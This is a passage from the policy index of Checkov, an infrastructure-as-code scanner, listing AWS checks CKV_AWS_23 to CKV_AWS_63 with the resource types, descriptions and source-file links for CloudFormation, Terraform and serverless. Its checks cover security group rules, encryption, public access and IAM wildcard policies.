is encrypted at rest using KMS CMK | Terraform | [SagemakerNotebookEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SagemakerNotebookEncryption.py) | | 195 | CKV_AWS_23 | resource | AWS::EC2::SecurityGroup | Ensure every security groups rule has a description | Cloudformation | [SecurityGroupRuleDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecurityGroupRuleDescription.py) | | 196 | CKV_AWS_23 | resource | AWS::EC2::SecurityGroupEgress | Ensure every security groups rule has a description | Cloudformation | [SecurityGroupRuleDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecurityGroupRuleDescription.py) | | 197 | CKV_AWS_23 | resource | AWS::EC2::SecurityGroupIngress | Ensure every security groups rule has a description | Cloudformation | [SecurityGroupRuleDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecurityGroupRuleDescription.py) | | 198 | CKV_AWS_23 | resource | aws_db_security_group | Ensure every security group and rule has a description | Terraform | [SecurityGroupRuleDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupRuleDescription.py) | | 199 | CKV_AWS_23 | resource | aws_elasticache_security_group | Ensure every security group and rule has a description | Terraform | [SecurityGroupRuleDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupRuleDescription.py) | | 200 | CKV_AWS_23 | resource | aws_redshift_security_group | Ensure every security group and rule has a description | Terraform | [SecurityGroupRuleDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupRuleDescription.py) | | 201 | CKV_AWS_23 | resource | aws_security_group | Ensure every security group and rule has a description | Terraform | [SecurityGroupRuleDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupRuleDescription.py) | | 202 | CKV_AWS_23 | resource | aws_security_group_rule | Ensure every security group and rule has a description | Terraform | [SecurityGroupRuleDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupRuleDescription.py) | | 203 | CKV_AWS_23 | resource | aws_vpc_security_group_egress_rule | Ensure every security group and rule has a description | Terraform | [SecurityGroupRuleDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupRuleDescription.py) | | 204 | CKV_AWS_23 | resource | aws_vpc_security_group_ingress_rule | Ensure every security group and rule has a description | Terraform | [SecurityGroupRuleDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupRuleDescription.py) | | 205 | CKV_AWS_24 | resource | AWS::EC2::SecurityGroup | Ensure no security groups allow ingress from 0.0.0.0:0 to port 22 | Cloudformation | [SecurityGroupUnrestrictedIngress22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecurityGroupUnrestrictedIngress22.py) | | 206 | CKV_AWS_24 | resource | AWS::EC2::SecurityGroupIngress | Ensure no security groups allow ingress from 0.0.0.0:0 to port 22 | Cloudformation | [SecurityGroupUnrestrictedIngress22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecurityGroupUnrestrictedIngress22.py) | | 207 | CKV_AWS_24 | resource | aws_security_group | Ensure no security groups allow ingress from 0.0.0.0:0 to port 22 | Terraform | [SecurityGroupUnrestrictedIngress22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedIngress22.py) | | 208 | CKV_AWS_24 | resource | aws_security_group_rule | Ensure no security groups allow ingress from 0.0.0.0:0 to port 22 | Terraform | [SecurityGroupUnrestrictedIngress22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedIngress22.py) | | 209 | CKV_AWS_24 | resource | aws_vpc_security_group_ingress_rule | Ensure no security groups allow ingress from 0.0.0.0:0 to port 22 | Terraform | [SecurityGroupUnrestrictedIngress22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedIngress22.py) | | 210 | CKV_AWS_25 | resource | AWS::EC2::SecurityGroup | Ensure no security groups allow ingress from 0.0.0.0:0 to port 3389 | Cloudformation | [SecurityGroupUnrestrictedIngress3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecurityGroupUnrestrictedIngress3389.py) | | 211 | CKV_AWS_25 | resource | AWS::EC2::SecurityGroupIngress | Ensure no security groups allow ingress from 0.0.0.0:0 to port 3389 | Cloudformation | [SecurityGroupUnrestrictedIngress3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecurityGroupUnrestrictedIngress3389.py) | | 212 | CKV_AWS_25 | resource | aws_security_group | Ensure no security groups allow ingress from 0.0.0.0:0 to port 3389 | Terraform | [SecurityGroupUnrestrictedIngress3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedIngress3389.py) | | 213 | CKV_AWS_25 | resource | aws_security_group_rule | Ensure no security groups allow ingress from 0.0.0.0:0 to port 3389 | Terraform | [SecurityGroupUnrestrictedIngress3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedIngress3389.py) | | 214 | CKV_AWS_25 | resource | aws_vpc_security_group_ingress_rule | Ensure no security groups allow ingress from 0.0.0.0:0 to port 3389 | Terraform | [SecurityGroupUnrestrictedIngress3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedIngress3389.py) | | 215 | CKV_AWS_26 | resource | AWS::SNS::Topic | Ensure all data stored in the SNS topic is encrypted | Cloudformation | [SNSTopicEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SNSTopicEncryption.py) | | 216 | CKV_AWS_26 | resource | aws_sns_topic | Ensure all data stored in the SNS topic is encrypted | Terraform | [SNSTopicEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SNSTopicEncryption.py) | | 217 | CKV_AWS_27 | resource | AWS::SQS::Queue | Ensure all data stored in the SQS queue is encrypted | Cloudformation | [SQSQueueEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SQSQueueEncryption.py) | | 218 | CKV_AWS_27 | resource | aws_sqs_queue | Ensure all data stored in the SQS queue is encrypted | Terraform | [SQSQueueEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SQSQueueEncryption.py) | | 219 | CKV_AWS_28 | resource | AWS::DynamoDB::Table | Ensure DynamoDB point in time recovery (backup) is enabled | Cloudformation | [DynamodbRecovery.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DynamodbRecovery.py) | | 220 | CKV_AWS_28 | resource | aws_dynamodb_table | Ensure DynamoDB point in time recovery (backup) is enabled | Terraform | [DynamodbRecovery.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DynamodbRecovery.py) | | 221 | CKV_AWS_29 | resource | AWS::ElastiCache::ReplicationGroup | Ensure all data stored in the ElastiCache Replication Group is securely encrypted at rest | Cloudformation | [ElasticacheReplicationGroupEncryptionAtRest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticacheReplicationGroupEncryptionAtRest.py) | | 222 | CKV_AWS_29 | resource | aws_elasticache_replication_group | Ensure all data stored in the ElastiCache Replication Group is securely encrypted at rest | Terraform | [ElasticacheReplicationGroupEncryptionAtRest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticacheReplicationGroupEncryptionAtRest.py) | | 223 | CKV_AWS_30 | resource | AWS::ElastiCache::ReplicationGroup | Ensure all data stored in the ElastiCache Replication Group is securely encrypted at transit | Cloudformation | [ElasticacheReplicationGroupEncryptionAtTransit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticacheReplicationGroupEncryptionAtTransit.py) | | 224 | CKV_AWS_30 | resource | aws_elasticache_replication_group | Ensure all data stored in the ElastiCache Replication Group is securely encrypted at transit | Terraform | [ElasticacheReplicationGroupEncryptionAtTransit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticacheReplicationGroupEncryptionAtTransit.py) | | 225 | CKV_AWS_31 | resource | AWS::ElastiCache::ReplicationGroup | Ensure all data stored in the ElastiCache Replication Group is securely encrypted at transit and has auth token | Cloudformation | [ElasticacheReplicationGroupEncryptionAtTransitAuthToken.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticacheReplicationGroupEncryptionAtTransitAuthToken.py) | | 226 | CKV_AWS_31 | resource | aws_elasticache_replication_group | Ensure all data stored in the ElastiCache Replication Group is securely encrypted at transit and has auth token | Terraform | [ElasticacheReplicationGroupEncryptionAtTransitAuthToken.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticacheReplicationGroupEncryptionAtTransitAuthToken.py) | | 227 | CKV_AWS_32 | resource | AWS::ECR::Repository | Ensure ECR policy is not set to public | Cloudformation | [ECRPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ECRPolicy.py) | | 228 | CKV_AWS_32 | resource | aws_ecr_repository_policy | Ensure ECR policy is not set to public | Terraform | [ECRPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ECRPolicy.py) | | 229 | CKV_AWS_33 | resource | AWS::KMS::Key | Ensure KMS key policy does not contain wildcard (*) principal | Cloudformation | [KMSKeyWildCardPrincipal.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/KMSKeyWildCardPrincipal.py) | | 230 | CKV_AWS_33 | resource | aws_kms_key | Ensure KMS key policy does not contain wildcard (*) principal | Terraform | [KMSKeyWildcardPrincipal.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/KMSKeyWildcardPrincipal.py) | | 231 | CKV_AWS_34 | resource | AWS::CloudFront::Distribution | Ensure CloudFront Distribution ViewerProtocolPolicy is set to HTTPS | Cloudformation | [CloudfrontDistributionEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CloudfrontDistributionEncryption.py) | | 232 | CKV_AWS_34 | resource | aws_cloudfront_distribution | Ensure CloudFront distribution ViewerProtocolPolicy is set to HTTPS | Terraform | [CloudfrontDistributionEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudfrontDistributionEncryption.py) | | 233 | CKV_AWS_35 | resource | AWS::CloudTrail::Trail | Ensure CloudTrail logs are encrypted at rest using KMS CMKs | Cloudformation | [CloudtrailEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CloudtrailEncryption.py) | | 234 | CKV_AWS_35 | resource | aws_cloudtrail | Ensure CloudTrail logs are encrypted at rest using KMS CMKs | Terraform | [CloudtrailEncryptionWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudtrailEncryptionWithCMK.py) | | 235 | CKV_AWS_36 | resource | AWS::CloudTrail::Trail | Ensure CloudTrail log file validation is enabled | Cloudformation | [CloudtrailLogValidation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CloudtrailLogValidation.py) | | 236 | CKV_AWS_36 | resource | aws_cloudtrail | Ensure CloudTrail log file validation is enabled | Terraform | [CloudtrailLogValidation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudtrailLogValidation.py) | | 237 | CKV_AWS_37 | resource | aws_eks_cluster | Ensure Amazon EKS control plane logging is enabled for all log types | Terraform | [EKSControlPlaneLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EKSControlPlaneLogging.py) | | 238 | CKV_AWS_38 | resource | aws_eks_cluster | Ensure Amazon EKS public endpoint not accessible to 0.0.0.0/0 | Terraform | [EKSPublicAccessCIDR.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EKSPublicAccessCIDR.py) | | 239 | CKV_AWS_39 | resource | aws_eks_cluster | Ensure Amazon EKS public endpoint disabled | Terraform | [EKSPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EKSPublicAccess.py) | | 240 | CKV_AWS_40 | resource | AWS::IAM::Policy | Ensure IAM policies are attached only to groups or roles (Reducing access management complexity may in-turn reduce opportunity for a principal to inadvertently receive or retain excessive privileges.) | Cloudformation | [IAMPolicyAttachedToGroupOrRoles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPolicyAttachedToGroupOrRoles.py) | | 241 | CKV_AWS_40 | resource | aws_iam_policy_attachment | Ensure IAM policies are attached only to groups or roles (Reducing access management complexity may in-turn reduce opportunity for a principal to inadvertently receive or retain excessive privileges.) | Terraform | [IAMPolicyAttachedToGroupOrRoles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMPolicyAttachedToGroupOrRoles.py) | | 242 | CKV_AWS_40 | resource | aws_iam_user_policy | Ensure IAM policies are attached only to groups or roles (Reducing access management complexity may in-turn reduce opportunity for a principal to inadvertently receive or retain excessive privileges.) | Terraform | [IAMPolicyAttachedToGroupOrRoles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMPolicyAttachedToGroupOrRoles.py) | | 243 | CKV_AWS_40 | resource | aws_iam_user_policy_attachment | Ensure IAM policies are attached only to groups or roles (Reducing access management complexity may in-turn reduce opportunity for a principal to inadvertently receive or retain excessive privileges.) | Terraform | [IAMPolicyAttachedToGroupOrRoles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMPolicyAttachedToGroupOrRoles.py) | | 244 | CKV_AWS_41 | provider | aws | Ensure no hard coded AWS access key and secret key exists in provider | Terraform | [credentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/provider/aws/credentials.py) | | 245 | CKV_AWS_41 | resource | serverless_aws | Ensure no hard coded AWS access key and secret key exists in provider | serverless | [AWSCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/serverless/checks/function/aws/AWSCredentials.py) | | 246 | CKV_AWS_42 | resource | AWS::EFS::FileSystem | Ensure EFS is securely encrypted | Cloudformation | [EFSEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/EFSEncryptionEnabled.py) | | 247 | CKV_AWS_42 | resource | aws_efs_file_system | Ensure EFS is securely encrypted | Terraform | [EFSEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EFSEncryptionEnabled.py) | | 248 | CKV_AWS_43 | resource | AWS::Kinesis::Stream | Ensure Kinesis Stream is securely encrypted | Cloudformation | [KinesisStreamEncryptionType.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/KinesisStreamEncryptionType.py) | | 249 | CKV_AWS_43 | resource | aws_kinesis_stream | Ensure Kinesis Stream is securely encrypted | Terraform | [KinesisStreamEncryptionType.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/KinesisStreamEncryptionType.py) | | 250 | CKV_AWS_44 | resource | AWS::Neptune::DBCluster | Ensure Neptune storage is securely encrypted | Cloudformation | [NeptuneClusterStorageEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/NeptuneClusterStorageEncrypted.py) | | 251 | CKV_AWS_44 | resource | aws_neptune_cluster | Ensure Neptune storage is securely encrypted | Terraform | [NeptuneClusterStorageEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NeptuneClusterStorageEncrypted.py) | | 252 | CKV_AWS_45 | resource | AWS::Lambda::Function | Ensure no hard-coded secrets exist in Lambda environment | Cloudformation | [LambdaEnvironmentCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaEnvironmentCredentials.py) | | 253 | CKV_AWS_45 | resource | AWS::Serverless::Function | Ensure no hard-coded secrets exist in Lambda environment | Cloudformation | [LambdaEnvironmentCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaEnvironmentCredentials.py) | | 254 | CKV_AWS_45 | resource | aws_lambda_function | Ensure no hard-coded secrets exist in lambda environment | Terraform | [LambdaEnvironmentCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LambdaEnvironmentCredentials.py) | | 255 | CKV_AWS_46 | resource | AWS::EC2::Instance | Ensure no hard-coded secrets exist in EC2 user data | Cloudformation | [EC2Credentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/EC2Credentials.py) | | 256 | CKV_AWS_46 | resource | aws_instance | Ensure no hard-coded secrets exist in EC2 user data | Terraform | [EC2Credentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EC2Credentials.py) | | 257 | CKV_AWS_46 | resource | aws_launch_configuration | Ensure no hard-coded secrets exist in EC2 user data | Terraform | [EC2Credentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EC2Credentials.py) | | 258 | CKV_AWS_46 | resource | aws_launch_template | Ensure no hard-coded secrets exist in EC2 user data | Terraform | [EC2Credentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EC2Credentials.py) | | 259 | CKV_AWS_47 | resource | AWS::DAX::Cluster | Ensure DAX is encrypted at rest (default is unencrypted) | Cloudformation | [DAXEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DAXEncryption.py) | | 260 | CKV_AWS_47 | resource | aws_dax_cluster | Ensure DAX is encrypted at rest (default is unencrypted) | Terraform | [DAXEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DAXEncryption.py) | | 261 | CKV_AWS_48 | resource | aws_mq_broker | Ensure MQ Broker logging is enabled | Terraform | [MQBrokerLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MQBrokerLogging.py) | | 262 | CKV_AWS_49 | data | aws_iam_policy_document | Ensure no IAM policies documents allow "*" as a statement's actions | Terraform | [StarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/data/aws/StarActionPolicyDocument.py) | | 263 | CKV_AWS_49 | resource | serverless_aws | Ensure no IAM policies documents allow "*" as a statement's actions | serverless | [StarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/serverless/checks/function/aws/StarActionPolicyDocument.py) | | 264 | CKV_AWS_50 | resource | aws_lambda_function | X-Ray tracing is enabled for Lambda | Terraform | [LambdaXrayEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LambdaXrayEnabled.py) | | 265 | CKV_AWS_51 | resource | AWS::ECR::Repository | Ensure ECR Image Tags are immutable | Cloudformation | [ECRImmutableTags.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ECRImmutableTags.py) | | 266 | CKV_AWS_51 | resource | aws_ecr_repository | Ensure ECR Image Tags are immutable | Terraform | [ECRImmutableTags.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ECRImmutableTags.py) | | 267 | CKV_AWS_53 | resource | AWS::S3::Bucket | Ensure S3 bucket has block public ACLs enabled | Cloudformation | [S3BlockPublicACLs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/S3BlockPublicACLs.py) | | 268 | CKV_AWS_53 | resource | aws_s3_bucket_public_access_block | Ensure S3 bucket has block public ACLS enabled | Terraform | [S3BlockPublicACLs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3BlockPublicACLs.py) | | 269 | CKV_AWS_54 | resource | AWS::S3::Bucket | Ensure S3 bucket has block public policy enabled | Cloudformation | [S3BlockPublicPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/S3BlockPublicPolicy.py) | | 270 | CKV_AWS_54 | resource | aws_s3_bucket_public_access_block | Ensure S3 bucket has block public policy enabled | Terraform | [S3BlockPublicPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3BlockPublicPolicy.py) | | 271 | CKV_AWS_55 | resource | AWS::S3::Bucket | Ensure S3 bucket has ignore public ACLs enabled | Cloudformation | [S3IgnorePublicACLs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/S3IgnorePublicACLs.py) | | 272 | CKV_AWS_55 | resource | aws_s3_bucket_public_access_block | Ensure S3 bucket has ignore public ACLs enabled | Terraform | [S3IgnorePublicACLs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3IgnorePublicACLs.py) | | 273 | CKV_AWS_56 | resource | AWS::S3::Bucket | Ensure S3 bucket has RestrictPublicBuckets enabled | Cloudformation | [S3RestrictPublicBuckets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/S3RestrictPublicBuckets.py) | | 274 | CKV_AWS_56 | resource | aws_s3_bucket_public_access_block | Ensure S3 bucket has 'restrict_public_buckets' enabled | Terraform | [S3RestrictPublicBuckets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3RestrictPublicBuckets.py) | | 275 | CKV_AWS_57 | resource | AWS::S3::Bucket | Ensure the S3 bucket does not allow WRITE permissions to everyone | Cloudformation | [S3PublicACLWrite.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/S3PublicACLWrite.py) | | 276 | CKV_AWS_57 | resource | aws_s3_bucket | S3 Bucket has an ACL defined which allows public WRITE access. | Terraform | [S3PublicACLWrite.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3PublicACLWrite.yaml) | | 277 | CKV_AWS_57 | resource | aws_s3_bucket_acl | S3 Bucket has an ACL defined which allows public WRITE access. | Terraform | [S3PublicACLWrite.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3PublicACLWrite.yaml) | | 278 | CKV_AWS_58 | resource | AWS::EKS::Cluster | Ensure EKS Cluster has Secrets Encryption Enabled | Cloudformation | [EKSSecretsEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/EKSSecretsEncryption.py) | | 279 | CKV_AWS_58 | resource | aws_eks_cluster | Ensure EKS Cluster has Secrets Encryption Enabled | Terraform | [EKSSecretsEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EKSSecretsEncryption.py) | | 280 | CKV_AWS_59 | resource | AWS::ApiGateway::Method | Ensure there is no open access to back-end resources through API | Cloudformation | [APIGatewayAuthorization.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/APIGatewayAuthorization.py) | | 281 | CKV_AWS_59 | resource | aws_api_gateway_method | Ensure there is no open access to back-end resources through API | Terraform | [APIGatewayAuthorization.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/APIGatewayAuthorization.py) | | 282 | CKV_AWS_60 | resource | AWS::IAM::Role | Ensure IAM role allows only specific services or principals to assume it | Cloudformation | [IAMRoleAllowsPublicAssume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMRoleAllowsPublicAssume.py) | | 283 | CKV_AWS_60 | resource | aws_iam_role | Ensure IAM role allows only specific services or principals to assume it | Terraform | [IAMRoleAllowsPublicAssume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMRoleAllowsPublicAssume.py) | | 284 | CKV_AWS_61 | resource | AWS::IAM::Role | Ensure AWS IAM policy does not allow assume role permission across all services | Cloudformation | [IAMRoleAllowAssumeFromAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMRoleAllowAssumeFromAccount.py) | | 285 | CKV_AWS_61 | resource | aws_iam_role | Ensure AWS IAM policy does not allow assume role permission across all services | Terraform | [IAMRoleAllowAssumeFromAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMRoleAllowAssumeFromAccount.py) | | 286 | CKV_AWS_62 | resource | AWS::IAM::Group | Ensure no IAM policies that allow full "*-*" administrative privileges are not created | Cloudformation | [IAMAdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMAdminPolicyDocument.py) | | 287 | CKV_AWS_62 | resource | AWS::IAM::Policy | Ensure no IAM policies that allow full "*-*" administrative privileges are not created | Cloudformation | [IAMAdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMAdminPolicyDocument.py) | | 288 | CKV_AWS_62 | resource | AWS::IAM::Role | Ensure no IAM policies that allow full "*-*" administrative privileges are not created | Cloudformation | [IAMAdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMAdminPolicyDocument.py) | | 289 | CKV_AWS_62 | resource | AWS::IAM::User | Ensure no IAM policies that allow full "*-*" administrative privileges are not created | Cloudformation | [IAMAdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMAdminPolicyDocument.py) | | 290 | CKV_AWS_62 | resource | aws_iam_group_policy | Ensure IAM policies that allow full "*-*" administrative privileges are not created | Terraform | [IAMAdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMAdminPolicyDocument.py) | | 291 | CKV_AWS_62 | resource | aws_iam_policy | Ensure IAM policies that allow full "*-*" administrative privileges are not created | Terraform | [IAMAdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMAdminPolicyDocument.py) | | 292 | CKV_AWS_62 | resource | aws_iam_role_policy | Ensure IAM policies that allow full "*-*" administrative privileges are not created | Terraform | [IAMAdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMAdminPolicyDocument.py) | | 293 | CKV_AWS_62 | resource | aws_iam_user_policy | Ensure IAM policies that allow full "*-*" administrative privileges are not created | Terraform | [IAMAdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMAdminPolicyDocument.py) | | 294 | CKV_AWS_62 | resource | aws_ssoadmin_permission_set_inline_policy | Ensure IAM policies that allow full "*-*" administrative privileges are not created | Terraform | [IAMAdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMAdminPolicyDocument.py) | | 295 | CKV_AWS_63 | resource | AWS::IAM::Group | Ensure no IAM policies documents allow "*" as a statement's actions | Cloudformation | [IAMStarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMStarActionPolicyDocument.py) | | 296 | CKV_AWS_63 | resource | AWS::IAM::Policy | Ensure no IAM policies documents allow "*" as a statement's actions | Cloudformation | [IAMStarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMStarActionPolicyDocument.py) | | 297 | CKV_AWS_63 | resource | AWS::IAM::Role | Ensure no IAM policies documents allow "*" as a statement's actions | Cloudformation | [IAMStarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMStarActionPolicyDocument.py) | | 298 | CKV_AWS_63 | resource | AWS::IAM::User | Ensure no IAM policies documents allow "*" as a statement's actions | Cloudformation | [IAMStarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMStarActionPolicyDocument.py) | | 299 | CKV_AWS_63 | resource | aws_iam_group_policy | Ensure no IAM policies documents allow "*" as a statement's actions | Terraform | [IAMStarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMStarActionPolicyDocument.py) | | 300 | CKV_AWS_63 | resource | aws_iam_policy | Ensure no IAM policies documents allow "*" as a statement's actions | Terraform | [IAMStarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMStarActionPolicyDocument.py) | | 301 | CKV_AWS_63 | resource | aws_iam_role_policy | Ensure no IAM policies documents allow "*" as a statement's actions | Terraform | [IAMStarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMStarActionPolicyDocument.py) | | 302 | CKV_AWS_63 | resource | aws_iam_user_policy | Ensure no IAM policies documents allow "*" as a statement's actions | Terraform | 